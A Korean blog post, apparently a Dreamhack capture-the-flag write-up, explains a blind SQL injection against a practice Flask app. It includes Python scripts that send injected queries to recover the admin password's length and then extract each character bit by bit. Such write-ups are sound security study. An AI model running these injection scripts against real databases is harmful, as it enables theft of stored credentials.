본문 바로가기

웹해킹

드림핵 blind sql injection advanced 롸업

비밀번호가 아스키코드와 한글로 구성되어 있다고 나와있다.

한글의 조합 경우의 수가 너무 많기 때문에 모든 문자에 대한 브루트포싱은 비효율적이다.

비트 연산을 이용해서 비밀번호의 비트를 알아내는 방식으로 공격해야 한다.

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

init.sql을 확인해보면 admin 계정의 비밀번호가 flag임을 알 수 있다.

 

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)

GET 방식으로 받은 uid 값이 그대로 SQL구문에 들어간다.

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

쿼리의 참, 거짓만 알 수 있기 때문에 blind sql injection을 이용해야 한다.

nrows==1 일 때만 결과를 출력하기 때문에 limit을 이용해야 한다.

 

우선 비밀번호의 길이를 알아야 한다.

length 함수는 바이트 형태의 길이를 반환하기 때문에 아스키코드로 구성되어 있지 않다면 틀린 값이 반환된다.

정확한 길이를 알기 위해서 char_length 함수를 사용해야 한다.

from requests import get

host = "http://host3.dreamhack.games:15487/"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

이렇게 코드를 작성하면 된다.

char_length가 password_length 변수와 일치하지 않으면 password_length를 계속 증가시키고

일치하면 그때 password_length 값이 비밀번호의 길이이니까 출력한다.

비밀번호의 각 문자를 비트로 표현했을 때 그 길이도 알아야 한다.

for i in range(1, 14):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

앞에서 비밀번호의 길이가 13으로 나왔기 때문에 반복문의 범위는 저렇게 설정하였다.

비밀번호의 i번째 문자를 substr로 가져오고 이를 ord, bin 함수로 비트로 바꿔준 다음 length 함수를 사용했다.

이렇게 각 문자의 비트 길이를 알아냈다.

이제 각 문자의 비트 값을 알아내야 한다.

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

substr로 upw의 i번째 문자를 가져와서 비트로 바꿔주고 그 비트의 j번째 값을 substr로 가져온다.

이런 식으로 나오는데 이제 비트 값을 다시 문자로 변환해야 한다.

password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

비트를 정수로 변환하고 바이트 배열로 변환한 뒤에 utf-8 문자열로 디코딩한다.

여기서 to_bytes 함수에서 (bit_length+7)//8이 인자로 들어가는 것은 필요한 바이트 수를 계산하는 과정이다.

 

마지막으로 구해진 password 값이 flag이다.

(vscode에서 실행하면 깨지는데 터미널에서 실행하면 정상적으로 나온다.)

'웹해킹' 카테고리의 다른 글

SQL Injection-2  (0) 2023.12.02
드림핵 error based sql injection 롸업  (0) 2023.12.02
SQL Injection-1  (0) 2023.11.30
드림핵 DOM XSS 롸업  (0) 2023.11.26
드림핵 XS-Search 롸업  (0) 2023.11.26